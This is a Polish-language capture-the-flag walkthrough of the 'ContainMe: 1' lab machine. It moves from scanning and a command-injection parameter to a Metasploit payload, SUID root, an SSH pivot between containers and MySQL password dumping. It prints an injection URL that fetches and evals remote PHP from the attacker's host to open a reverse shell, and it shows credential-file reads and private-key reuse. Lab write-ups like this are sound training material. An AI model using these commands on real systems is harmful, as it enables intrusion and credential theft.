ContainMe: 1
Write-up is in Polish language.
Metainfo
Nazwa: | ContainMe: 1 |
Autor: | It-security-works |
Wypuszczony: | 2021-07-29 |
Do ściągnięcia: | Vulnhub |
Poziom: | Łatwy |
System: | Linux |
Nauczysz się: | Metasploit, LXD, Kontenery |
Wstęp
ContainMe: 1 jest obrazem z lipca 2021 roku. Nazwa obrazu (THM-ContainMe-v4.ova) wskazuje czwartą wersję(?). Na chwilę obecną (12.08.2021) nie znalazłem żadnej solucji, więc nie było podpowiedzi. ContainMe: 1, jak nazwa wskazuje, jest to pierwsza maszyna z serii ContainMe. Autorem jest IT Security Works.
Zaczynamy
Standardowo na początku użyjemy Nmapa w Metasploicie:
db_nmap -A -p- 172.16.1.218
172.16.1.218 22 tcp ssh open OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0
172.16.1.218 80 tcp http open Apache httpd 2.4.29 (Ubuntu)
172.16.1.218 2222 tcp ethernetip-1 open
172.16.1.218 8022 tcp ssh open OpenSSH 7.7p1 Ubuntu 4ppa1+obfuscated Ubuntu Linux; protocol 2.0
WWW
Widzimy trochę portów. Dwa z nich to SSH. Tym zajmiemy się później. Na początku jak zwykle sprawdźmy WWW. Dirb to nam pokazał:
# root@kali:/home/szikers# dirb http://172.16.1.218/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Aug 11 12:08:08 2021
URL_BASE: http://172.16.1.218/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.1.218/ ----
+ http://172.16.1.218/index.html (CODE:200|SIZE:10918)
+ http://172.16.1.218/index.php (CODE:200|SIZE:329)
+ http://172.16.1.218/info.php (CODE:200|SIZE:69012)
To wystarczy, więcej nie trzeba skanować. W index.html jest zwykła strona Debiana. W info.php jest informacja o Apache, PHP i przy tym dowiadujemy się, że strona stoi na kontenerze LXD:
http://172.16.1.218/info.php
Index.php prawdopodobnie uruchamia nam komendę listującą katalog. Poniżej strona bez źródła i ze źródłem. Jest również wskazówka:
http://172.16.1.218/index.php
“Poffuzujmy” trochę i sprawdźmy jak http://172.16.1.218/index.php się zachowa z parametrem:
# wfuzz --filter 'h!=329' -c -w /usr/share/dirb/wordlists/common.txt http://172.16.1.218/index.php?FUZZ=a
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://172.16.1.218/index.php?FUZZ=a
Total requests: 4614
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002874: 200 10 L 13 W 79 Ch "path"
Parametr path ma inną ilość znaków niż inne. PHP odwołuje się do path przez metodę GET. Zobaczmy czy się da wyświetlić jakiś katalog:
http://172.16.1.218/index.php?path=/
total 72K drwxr-xr-x 22 root root 4.0K Jul 15 09:33 . drwxr-xr-x 22 root root 4.0K Jul 15 09:33 .. drwxr-xr-x 2 root root 4.0K Jul 30 04:28 bin drwxr-xr-x 2 root root 4.0K Jun 29 03:07 boot drwxr-xr-x 8 root root 480 Aug 11 08:00 dev drwxr-xr-x 81 root root 4.0K Aug 11 14:59 etc drwxr-xr-x 3 root root 4.0K Jul 19 15:03 home drwxr-xr-x 16 root root 4.0K Jun 29 03:04 lib drwxr-xr-x 2 root root 4.0K Jun 29 03:03 lib64 drwxr-xr-x 2 root root 4.0K Jun 29 03:01 media drwxr-xr-x 2 root root 4.0K Jun 29 03:01 mnt drwxr-xr-x 2 root root 4.0K Jun 29 03:01 opt dr-xr-xr-x 123 nobody nogroup 0 Aug 11 08:00 proc drwx------ 6 root root 4.0K Aug 11 10:15 root drwxr-xr-x 17 root root 660 Aug 12 06:26 run drwxr-xr-x 2 root root 4.0K Jul 30 04:36 sbin drwxr-xr-x 2 root root 4.0K Jul 14 22:03 snap drwxr-xr-x 2 root root 4.0K Jun 29 03:01 srv dr-xr-xr-x 13 nobody nogroup 0 Aug 11 08:23 sys drwxrwxrwt 8 root root 4.0K Aug 12 13:09 tmp drwxr-xr-x 11 root root 4.0K Jun 29 03:03 usr drwxr-xr-x 14 root root 4.0K Jul 15 17:11 var
Możemy wyświetlić katalog. Sprawdźmy czy jest podatność przez Code injection:
http://172.16.1.218/index.php?path=/;echo;id
total 72K drwxr-xr-x 22 root root 4.0K Jul 15 09:33 . drwxr-xr-x 22 root root 4.0K Jul 15 09:33 .. drwxr-xr-x 2 root root 4.0K Jul 30 04:28 bin drwxr-xr-x 2 root root 4.0K Jun 29 03:07 boot drwxr-xr-x 8 root root 480 Aug 11 08:00 dev drwxr-xr-x 81 root root 4.0K Aug 11 14:59 etc drwxr-xr-x 3 root root 4.0K Jul 19 15:03 home drwxr-xr-x 16 root root 4.0K Jun 29 03:04 lib drwxr-xr-x 2 root root 4.0K Jun 29 03:03 lib64 drwxr-xr-x 2 root root 4.0K Jun 29 03:01 media drwxr-xr-x 2 root root 4.0K Jun 29 03:01 mnt drwxr-xr-x 2 root root 4.0K Jun 29 03:01 opt dr-xr-xr-x 123 nobody nogroup 0 Aug 11 08:00 proc drwx------ 6 root root 4.0K Aug 11 10:15 root drwxr-xr-x 17 root root 660 Aug 12 06:26 run drwxr-xr-x 2 root root 4.0K Jul 30 04:36 sbin drwxr-xr-x 2 root root 4.0K Jul 14 22:03 snap drwxr-xr-x 2 root root 4.0K Jun 29 03:01 srv dr-xr-xr-x 13 nobody nogroup 0 Aug 11 08:23 sys drwxrwxrwt 8 root root 4.0K Aug 12 13:09 tmp drwxr-xr-x 11 root root 4.0K Jun 29 03:03 usr drwxr-xr-x 14 root root 4.0K Jul 15 17:11 var uid=33(www-data) gid=33(www-data) groups=33(www-data)
Maszyna jest podatna. Czas tam wejść. Do tego użyjemy Metasploita:
msf6 exploit(multi/script/web_delivery) > use exploit/multi/script/web_delivery
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost eth0
lhost => eth0
msf6 exploit(multi/script/web_delivery) > set target PHP
target => PHP
msf6 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.1.10:4444
msf6 exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8080/xIXYouzGVsN
[*] Local IP: http://172.16.1.10:8080/xIXYouzGVsN
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.1.10:8080/xIXYouzGVsN', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
Należy kod, co poda nam Metasploit wrzucic jako parametr w linku. W moim wypadku jest taki. U was zapewn będzie inny:
php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://172.16.1.10:8080/xIXYouzGVsN’, false, stream_context_create([‘ssl’=>[‘verify_peer’=>false,’verify_peer_name’=>false]])));”
http://172.16.1.218/index.php?path=/;php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.1.10:8080/xIXYouzGVsN', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
Mamy sesję:
[*] 172.16.1.218 web_delivery - Delivering Payload (1112 bytes)
[*] Sending stage (39282 bytes) to 172.16.1.218
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.218:48918) at 2021-08-12 20:48:25 +0200
msf6 exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ host1 172.16.1.10:4444 -> 172.16.1.218:48918 (172.16.1.218)
Kontenery
Należy pamiętać, że jest to kontener LXD i nie możemy z niego wyjść, ale przeglądarkę możemy zamknąć. Sesja powinna być utrzymana:
host1
meterpreter > getuid
Server username: www-data (33)
meterpreter > shell
Process 37317 created.
Channel 0 created.
bash -i
bash: cannot set terminal process group (203): Inappropriate ioctl for device
bash: no job control in this shell
www-data@host1:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
Możemy trochę pogrzebać w Shellu:
# www-data@host1:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
lxd:x:103:65534::/var/lib/lxd/:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
messagebus:x:105:107::/nonexistent:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:108:1::/var/cache/pollinate:/bin/false
mike:x:1001:1001::/home/mike:/bin/bash
Mała uwaga: zamiast używać komendy Shell w Meterpreterze, lepiej wpisać shell -t.
1cryptupx
W katalogu /home/mike jest plik 1cryptupx:
www-data@host1:/home/mike$ ./1cryptupx
./1cryptupx
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
www-data@host1:/home/mike$ ./1cryptupx a
./1cryptupx a
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
Unable to decompress.
www-data@host1:/home/mike$ ./1cryptupx mike
./1cryptupx mike
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
www-data@host1:/home/mike$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@host1:/home/mike$
Jest to Shell, który działa z hasłem mike. Nic to nam nie daję, jesteśmy przecież na Shellu z id 33. Poszukajmy plików z Suid:
# www-data@host1:/home/mike$ find / -perm -4000 2>/dev/null
/usr/share/man/zh_TW/crypt
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/mount
/bin/ping
/bin/su
/bin/umount
/bin/fusermount
/bin/ping6
www-data@host1:/home/mike$
/usr/share/man/zh_TW/crypt jest to identyczny plik, co u nas w katalogu, z tą różnicą, że ma Suida:
# www-data@host1:/usr/share/man/zh_TW$ ./crypt mike
./crypt mike
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
id
id
root@host1:/usr/share/man/zh_TW# id
uid=0(root) gid=33(www-data) groups=33(www-data)
Nmap
No i mamy Roota. Skoro jesteśmy na kontenerze, to sprawdźmy interfejsy sieciowe:
# root@host1:/usr/share/man/zh_TW# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.250.10 netmask 255.255.255.0 broadcast 192.168.250.255
inet6 fe80::216:3eff:fe9c:ff0f prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:9c:ff:0f txqueuelen 1000 (Ethernet)
RX packets 121192 bytes 13787259 (13.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 121376 bytes 19475089 (19.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.20.2 netmask 255.255.255.0 broadcast 172.16.20.255
inet6 fe80::216:3eff:fe46:6b29 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:46:6b:29 txqueuelen 1000 (Ethernet)
RX packets 5142 bytes 642990 (642.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5498 bytes 399822 (399.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 49137 bytes 14090165 (14.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 49137 bytes 14090165 (14.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Zainstalujmy Nmapa i przeskanujmy interfejs eth1:
Nmap instalujemy z konta root:
# nmap -sn 172.16.20.0/24
Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-11 15:30 CDT
Nmap scan report for host1 (172.16.20.2)
Host is up (0.00025s latency).
Nmap scan report for 172.16.20.6
Host is up (0.00014s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.04 seconds
172.16.20.6 się pinguje. Pewnie to drugi kontener. Sprawdźmy co na nim jest:
# nmap -A 172.16.20.6
Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-11 15:32 CDT
Nmap scan report for 172.16.20.6
Host is up (0.00016s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6a:45:5a:15:ac:12:c8:24:34:7a:d2:a1:28:2d:0d:9d (RSA)
| 256 d6:8b:7a:02:8c:90:3a:c8:c4:d5:5d:e9:63:ad:5f:3e (ECDSA)
|_ 256 f1:62:60:e0:e5:38:22:52:04:06:60:b8:9c:8c:3a:8f (EdDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Jest SSH, ale nie znamy hasła, za możemy znaleźć klucz:
# root@host1:/usr/share/man/zh_TW# find / -name id_rsa 2>/dev/null
/home/mike/.ssh/id_rsa
host2
# root@host1:/usr/share/man/zh_TW# ssh -i /home/mike/.ssh/id_rsa mike@172.16.20.6
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
1 update can be applied immediately.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Aug 12 19:24:11 2021 from 172.16.20.2
mike@host2:~$
Sprawdźmy jakie mamy usługi:
# mike@host2:~$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
Nic podatnego nie znalazłem na tym serwerze. Jedyne co zostało to MySql. Więc to raczej było to. Hasło raczej musiało być proste. Nie było to mike, ale hasłem było password
# mike@host2:~$ mysql -umike -ppassword
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 26
Server version: 5.7.34-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
Dalej to już było z górki.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| accounts |
+--------------------+
2 rows in set (0.00 sec)
mysql> use accounts;
use accounts;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+--------------------+
| Tables_in_accounts |
+--------------------+
| users |
+--------------------+
1 row in set (0.00 sec)
mysql> select * from users;
select * from users;
+-------+---------------------+
| login | password |
+-------+---------------------+
| root | bjsig4868fgjjeog |
| mike | WhatAreYouDoingHere |
+-------+---------------------+
2 rows in set (0.00 sec)
mysql>
# mike@host2:~$ su root
Password: bjsig4868fgjjeog
W katalogu /root był spakowany plik zipem. Hasło do pliku wcześniej znaleźliśmy w bazie. Po rozpakowaniu pliku zdobyliśmy flagę.
Zostaw komentarz